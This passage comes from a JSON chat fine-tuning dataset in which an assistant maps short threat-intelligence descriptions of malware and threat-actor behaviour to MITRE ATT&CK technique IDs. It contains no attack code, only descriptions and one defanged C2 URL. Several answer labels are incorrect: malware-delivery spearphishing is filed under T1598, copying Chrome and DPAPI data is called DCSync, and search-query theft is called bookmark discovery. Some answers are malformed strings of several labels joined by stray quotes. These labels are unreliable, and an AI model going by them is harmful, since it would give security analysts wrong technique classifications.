                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file “gracious_truth.jpg”, which likely has a fake JPG header. TEARDROP does not have code overlap with any previously seen malware. We believe that this was used to execute a customized Cobalt Strike BEACON"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PsExec is then used to launch PowerShell which uses the win32_service WMI class to retrieve services and the net stop command to stop these services. After Windows Defender is disabled and services have been stopped across the organization, PsExec is used to launch the WastedLocker ransomware itself, which then begins encrypting data and deleting shadow volumes"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1489 - Service Stop', 'T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "f) Hadoop YARN ResourceManager – Command Execution (exploit) g) CVE-2016-3088: Apache ActiveMQ Fileserver File Upload Remote Code Execution Vulnerability"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution', 'T1203 - Exploitation for Client Execution', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before running the above command to open the decoy document, the shellcode enumerates the running processes on the system, specifically looking for processes created for an executable with a filename that starts with “avp. presumably in an attempt to find Kaspersky’s antivirus process. If the process is found, the shellcode will not open the decoy document and exits"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CCBkdr can use a DGA for Fallback Channels if communications with the primary command and control server are lost."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The SP variable is a string containing the victim's username"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The browser extension serves as adware and an infostealer, leaking all of the user’s search engine queries. We discovered significant changes and additions of capabilities throughout this campaign's evolution, and we predict further changes as this campaign continues."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Bookmark Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mori can use Base64 encoded JSON libraries used in C2."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attempted to trick targets into clicking on a link featuring a seemingly legitimate domain from Adobe.com to download their malware and gain initial access."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADCALL uses a FakeTLS method during C2."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Protocol or Service Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to discover system firewall settings."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Vasport can download files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Koadic can gather hashed passwords by gathering domain controller hashes from NTDS."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the command-line interface."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThiefQuest uses the \"CGEventTap\" functions to perform keylogging."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BloodHound can collect information about domain groups and members."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 modified legitimate Windows services to install malware backdoors. APT41 created the StorSyncSvc service to provide persistence for Cobalt Strike."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed can take screenshots on a compromised host by calling a series of APIs."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "!CMD  Trojan executes a command prompt command"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNBURST used DNS for C2 traffic designed to mimic normal SolarWinds API communications."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One of the discovered config files contained a URL with an as yet unidentified md5: hxxps://46.165.222(dot)28/upgrade/bf0dac805798cc1f633f19ce8ed6382f/upgrade.php Victim set #4 A set of victims discovered installed Siemens SCADA software in their ICS environment was responsible for downloading and executing BlackEnergy"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has maintained persistence using the startup folder."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The plugin is designed to migrate the loader to the address space of another process. Injection parameters are set in the Lizar client configuration file. It should be noted that this plugin can be used not only to inject the loader, but also to execute other PE files in the address space of the specified process"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection', 'T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "sent malicious attachments to victims over email, including an Excel spreadsheet containing macros to download Pupy."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Taidoor can use a stream cipher to decrypt stings used by the malware."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell hooks several API functions to spawn system threads."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GreyEnergy has a module to inject a PE binary into a remote process."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aria-body has the ability to delete files and directories on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "hcdLoader provides command-line access to the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyclops Blink has the ability to query device information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can gather information on the victim username."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 actors continue to deliver the malicious attachments via spear-phishing emails"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a new service that loads a malicious driver when the system starts. When Duqu is active, the operating system believes that the driver is legitimate, as it has been signed with a valid private key."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses HTTPS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can take a desktop screenshot and save the file into \\ProgramData\\Mail\\MailAg\\shot.png."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor accomplished this by using administrative accounts to connect via SMB to targeted users, and then copy their Chrome profile directories as well as data protection API (DPAPI) data"
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The organizational backup server was among the first targeted. When Ryuk was detected and stopped on the backup server, the attackers used the icacls command to modify access control, giving them full control of all the system folders on the server"
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PROMETHIUM has signed code with self-signed certificates."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the certutil command to decode a payload file."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These encrypted blobs are dropped to C:\\Users\\user\\AppData\\Local\\Temp\\3f34a.tmp one after the other. Once they are dropped, the dropper also decrypts them and writes them to a newly created folder and creates persistence"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Green Lambert can collect data from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses run keys for persistence on Windows"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can retrieve lists of files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We saw a Waterbear loader named \"ociw32.dll\" inside one of the folders in the %PATH% environmental variable. This DLL name is hardcoded inside \"mtxoci.dll\" which is loaded by the MSDTC service during boot-up. mtxoci.dll” first tries to query the registry key \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\MSDTC\\MTxOCI\" to see if the value \"OracleOciLib\" exists. If so, it retrieves the data inside it and loads the corresponding library. If the value doesn't exist, “mtxoci.dll” tries to load \"ociw32.dll\" instead. During our investigation, we noticed that the value \"OracleOciLib\" was deleted from the victim's machine, as shown in Figure 2. Hence, the malicious loader \"ociw32.dll\" was loaded and successfully executed on the host"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard searches for credential files on the host, as well as queries metadata for cloud-specific credentials"
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ADVSTORESHELL is capable of setting and deleting Registry values."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has compromised websites to redirect traffic and to host exploit kits."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Nefilim ransomware creates a DirectInput object using the DirectDrawCreateEx function to capture keystrokes. Keylogging is both a Credential Access and Collection tactic."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HTTPBrowser has used HTTP and HTTPS for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": " this Excel template was created by a threat actor trying to instill confidence by taking advantage of the DocuSign brand name and image."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros.', 'T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "communicates over HTTP or HTTPS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has abused the Outlook Home Page feature for persistence. OilRig has also used CVE-2017-11774 to roll back the initial patch designed to protect against Home Page abuse."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater can disable the system's local proxy settings."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has exploited CVE-2015-1701 and CVE-2015-2387 to escalate privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The following are the three files:   Defender.sct – The malicious JavaScript based scriptlet file"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the past, Emissary Panda has used many ways to target their victims, with the most notable being the exploits from the Hacking Team leak. Usually, the delivered payload is either the well-known ‘PlugX’ or ‘HttpBrowser’ RAT, a tool which is believed to have Chinese origins and to be used only by certain Chinese hacking groups"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RunningRAT uses a batch file to kill a security program task and then attempts to remove itself."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The strings pertaining to the ransomware are encrypted and stored in the .bss section of the binary file. This includes the ransom note along with other important information necessary for the ransomware’s tasks. The strings are decrypted using a key that combined the size and raw address of the .bss section, as well as the ransomware’s compilation timestamp"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Amadey has modified the `:Zone.Identifier` in the ADS area to zero."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WindTail has the ability to enumerate the users home directory and the path to its own application bundle."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Goopy has used a polymorphic decryptor to decrypt itself at runtime."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware will then write a base64 encoded PowerShell script (which is contained in xmlparse.dll as a resource) to \\%TEMP%\\enu1.ps1 and execute it. The script, intended for reconnaissance purposes, checks if a machine is part of a domain and if the user has Admin privileges or is part of the Admin Group"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unlike recent variants of Mirai and Gafgyt that target vulnerable Linux systems via randomly generated IP addresses, Xbash also scans and trawls through domain names. Hadoop’s unauthenticated command execution flaw discovered in October 2016, as well as the Redis arbitrary and remote command execution vulnerability disclosed in October 2015, have yet to be assigned CVE numbers. Based on the active C&amp;C traffic, it scans and probes for open TCP or UDP ports such as HTTP, VNC, MySQL/MariaDB, Telnet, FTP, MongoDB, RDP, ElasticSearch, Oracle Database, CouchDB, Rlogin and PostgreSQL. While the malware uses a weak username and password dictionary to brute force itself into the service, it is also able to update its set from the C&amp;C server, delete all the databases, and display the ransom message"
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A BlackEnergy 2 plug-in uses WMI to gather victim host details."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Misdat is capable of downloading files from the C2."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cuba has been disguised as legitimate 360 Total Security Antivirus and OpenVPN programs."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mosquito's installer uses WMI to search for antivirus display names."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla can collect the system's computer name and also has the capability to collect information on the processor, memory, OS, and video card from the system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Maze has disrupted systems by encrypting files on targeted machines, claiming to decrypt files if a ransom payment is made. Maze has used the ChaCha algorithm, based on Salsa20, and an RSA algorithm to encrypt files."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "modifies the %regrun% Registry to point itself to an autostart mechanism."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has staged tools, including gsecdump and WCE, on previously compromised websites."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can use VBScript to execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Backdoor.Oldrea contains a cleanup module that removes traces of itself from the victim."
            },
            {
                "role": "assistant",
